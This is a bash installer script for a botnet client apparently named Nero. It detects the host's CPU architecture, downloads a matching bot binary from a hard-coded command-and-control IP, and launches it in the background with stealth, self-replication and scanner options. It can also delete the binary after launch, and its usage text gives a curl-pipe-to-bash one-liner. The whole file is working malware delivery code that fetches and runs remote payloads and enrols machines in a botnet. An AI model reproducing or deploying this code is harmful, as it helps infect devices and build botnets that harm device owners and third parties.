#!/usr/bin/env bash
set -euo pipefail

BASE="http://217.60.195.161"
NERO_CNC_HOST="217.60.195.161"
NERO_CNC_PORT="9001"
NERO_HARDEN="strict"
NERO_PSK=""
NERO_SELFREP_IP="217.60.195.161"
NERO_BOT_BUILD="Nero-v5"
NERO_BAKE_STEALTH="1"

# NeroRust remote drop: detect arch → BASE/<arch|bot> → download → nohup.
#
#   curl -fsSL http://CNC_IP/install.sh | bash
#   curl -fsSL http://CNC_IP/install.sh | bash -s -- --fg
#
# Env:
#   BOT_FETCH_BASE / baked BASE
#   NERO_CNC_HOST / baked CNC host (defaults from BASE hostname)
#   NERO_CNC_PORT (default 9001)
#   NERO_HARDEN (default lab)
#   BOT_OUT BOT_WORKDIR BOT_BG BOT_RM

BG="${BOT_BG:-1}"
ARGS=()
while [[ $# -gt 0 ]]; do
  case "$1" in
    -h|--help)
      echo "Usage: curl -fsSL http://CNC_IP/install.sh | bash"
      echo "       curl -fsSL http://CNC_IP/install.sh | bash -s -- --fg"
      echo "Default: nohup background. --fg = foreground."
      echo "Env: BOT_BG=0 BOT_RM=1 BOT_OUT=./bot NERO_HARDEN=lab NERO_CNC_HOST=..."
      exit 0
      ;;
    --bg|-b) BG=1; shift ;;
    --fg) BG=0; shift ;;
    *) ARGS+=("$1"); shift ;;
  esac
done
set -- "${ARGS[@]+"${ARGS[@]}"}"

if [[ "${1:-}" == http://* || "${1:-}" == https://* ]]; then
  BASE="${1%/}"
  shift
elif [[ "${1:-}" =~ ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
  BASE="http://$1"
  shift
fi

if [[ -z "${BASE:-}" ]]; then
  echo "[install] No CNC URL. Use: curl -fsSL http://CNC_IP/install.sh | bash" >&2
  exit 1
fi

# Derive CNC host from BASE if not set (field publish also bakes CNC_HOST_DEFAULT)
if [[ -z "${NERO_CNC_HOST:-}" ]]; then
  NERO_CNC_HOST="$(printf '%s' "$BASE" | sed -E 's#https?://([^/:]+).*#\1#')"
fi
NERO_CNC_PORT="${NERO_CNC_PORT:-9001}"
NERO_HARDEN="${NERO_HARDEN:-lab}"
NERO_PSK="${NERO_PSK:-}"
NERO_SELFREP_IP="${NERO_SELFREP_IP:-$NERO_CNC_HOST}"
NERO_BOT_BUILD="${NERO_BOT_BUILD:-rust-0.1.0}"
NERO_BAKE_STEALTH="${NERO_BAKE_STEALTH:-1}"
# VPS/KVM labs: allow VM DMI by default (same as PoC POC_ALLOW_VM=1)
export NERO_ALLOW_VM="${NERO_ALLOW_VM:-${POC_ALLOW_VM:-1}}"

pick_workdir() {
  local d
  for d in ${BOT_WORKDIR:+"$BOT_WORKDIR"} /tmp /var/tmp /var/run /dev/shm /mnt /home /root "${PWD:-.}" /; do
    [[ -d "$d" && -w "$d" ]] || continue
    if touch "$d/.nero-w$$" 2>/dev/null; then
      rm -f "$d/.nero-w$$"
      printf '%s' "$d"
      return 0
    fi
  done
  return 1
}

have_busybox_wget() {
  command -v busybox >/dev/null 2>&1 || return 1
  busybox --list 2>/dev/null | grep -qx wget && return 0
  busybox 2>&1 | grep -qw wget && return 0
  return 1
}

arch_candidates() {
  local m soft
  m="$(uname -m 2>/dev/null || echo unknown)"
  soft="$(getconf LONG_BIT 2>/dev/null || echo "")"
  case "$m" in
    x86_64|amd64) echo "bot i686" ;;
    i686|i386|x86) echo "i686 bot" ;;
    aarch64|arm64) echo "aarch64 armv7l armv5l" ;;
    armv7l|armv7|armhf) echo "armv7l armv5l armv4l" ;;
    armv6l) echo "armv5l armv7l armv4l" ;;
    armv5l|armv5te|armv5) echo "armv5l armv4l armv7l" ;;
    armv4l|armv4|arm)
      if grep -qi 'aarch64\|armv8' /proc/cpuinfo 2>/dev/null; then
        echo "aarch64 armv7l armv5l"
      elif grep -qi 'v7' /proc/cpuinfo 2>/dev/null; then
        echo "armv7l armv5l armv4l"
      elif grep -qi 'v5\|v6' /proc/cpuinfo 2>/dev/null; then
        echo "armv5l armv4l armv7l"
      else
        echo "armv4l armv5l armv7l"
      fi
      ;;
    mipsel|mips64el) echo "mipsel mips" ;;
    mips|mips64)
      if grep -qi 'little endian\|LSB' /proc/cpuinfo 2>/dev/null; then
        echo "mipsel mips"
      else
        echo "mips mipsel"
      fi
      ;;
    *)
      if [[ "$soft" == "64" ]]; then
        echo "bot aarch64"
      else
        echo "i686 armv7l mipsel mips"
      fi
      ;;
  esac
}

url_ok() {
  local u="$1"
  if command -v curl >/dev/null 2>&1; then
    curl -fsSI "$u" >/dev/null 2>&1 && return 0
    curl -fsSL -r 0-0 "$u" >/dev/null 2>&1 && return 0
    return 1
  fi
  if command -v wget >/dev/null 2>&1; then
    wget -q --spider "$u" >/dev/null 2>&1 && return 0
    wget -q -O /dev/null "$u" >/dev/null 2>&1 && return 0
    return 1
  fi
  if have_busybox_wget; then
    busybox wget -q -O /dev/null "$u" >/dev/null 2>&1
    return $?
  fi
  return 1
}

download() {
  local u="$1" out="$2"
  if command -v curl >/dev/null 2>&1; then
    curl -fsSL "$u" -o "$out" 2>/dev/null; return $?
  fi
  if command -v wget >/dev/null 2>&1; then
    wget -qO "$out" "$u" 2>/dev/null; return $?
  fi
  if have_busybox_wget; then
    busybox wget -q -O "$out" "$u" 2>/dev/null; return $?
  fi
  return 1
}

WORKDIR="$(pick_workdir)" || {
  echo "[install] no writable directory" >&2
  exit 1
}
cd "$WORKDIR"

CANDS=()
if [[ -n "${1:-}" ]]; then
  case "$1" in
    x86_64|amd64|host|native|bot) CANDS=(bot) ;;
    *) CANDS=("$1") ;;
  esac
  shift || true
else
  # shellcheck disable=SC2207
  CANDS=($(arch_candidates))
fi

OUT="${BOT_OUT:-./bot}"
NAME=""
for c in "${CANDS[@]}"; do
  if url_ok "${BASE}/${c}"; then
    NAME="$c"
    break
  fi
done

if [[ -z "$NAME" ]]; then
  echo "[install] no matching binary at ${BASE}/ for: ${CANDS[*]}" >&2
  echo "[install] uname=$(uname -m)" >&2
  exit 1
fi

PARTIAL="${OUT}.partial.$$"
rm -f "$PARTIAL"
if ! download "${BASE}/${NAME}" "$PARTIAL"; then
  echo "[install] download failed: ${BASE}/${NAME}" >&2
  rm -f "$PARTIAL"
  exit 1
fi
if [[ ! -s "$PARTIAL" ]]; then
  echo "[install] download empty" >&2
  rm -f "$PARTIAL"
  exit 1
fi
mv -f "$PARTIAL" "$OUT"
chmod +x "$OUT"

BOT_ARGS=(
  --cnc "$NERO_CNC_HOST"
  --port "$NERO_CNC_PORT"
  --harden "$NERO_HARDEN"
  --selfrep-ip "$NERO_SELFREP_IP"
  --name "${BOT_NAME:-bot}"
  --build "${NERO_BOT_BUILD:-${NERO_BAKE_BOT_BUILD:-rust-0.1.0}}"
)
if [[ -n "$NERO_PSK" ]]; then
  BOT_ARGS+=(--psk "$NERO_PSK")
fi
# Field binaries are usually baked stealth; --no-stealth only if explicitly requested.
case "${NERO_STEALTH:-${NERO_BAKE_STEALTH:-1}}" in
  0|n|N|no|NO|false|FALSE|off|OFF) BOT_ARGS+=(--no-stealth) ;;
esac
# Scanner on by default for field drops when NERO_SCANNER_FIELD=1 or SCANNER_LAB=1
case "${NERO_SCANNER_FIELD:-0}" in
  1|y|Y|yes|YES|true|TRUE) BOT_ARGS+=(--scanner-field) ;;
esac
case "${NERO_SCANNER_LAB:-${POC_BOT_SCANNER_LAB:-0}}" in
  1|y|Y|yes|YES|true|TRUE) BOT_ARGS+=(--scanner-lab) ;;
esac

case "${BG}" in
  1|y|Y|yes|YES|true|TRUE) BG=1 ;;
  *) BG=0 ;;
esac

if [[ "$BG" -eq 1 ]]; then
  if command -v nohup >/dev/null 2>&1; then
    nohup "$OUT" "${BOT_ARGS[@]}" >/dev/null 2>&1 </dev/null &
  elif command -v setsid >/dev/null 2>&1; then
    setsid "$OUT" "${BOT_ARGS[@]}" >/dev/null 2>&1 </dev/null &
  else
    "$OUT" "${BOT_ARGS[@]}" >/dev/null 2>&1 </dev/null &
  fi
  BOT_PID=$!
  sleep 2
  if kill -0 "$BOT_PID" 2>/dev/null; then
    case "${BOT_RM:-0}" in
      1|y|Y|yes|YES|true|TRUE) rm -f "$OUT" 2>/dev/null || true ;;
    esac
    exit 0
  fi
  echo "[install] bot exited immediately (pid=$BOT_PID)" >&2
  exit 1
fi

exec "$OUT" "${BOT_ARGS[@]}"
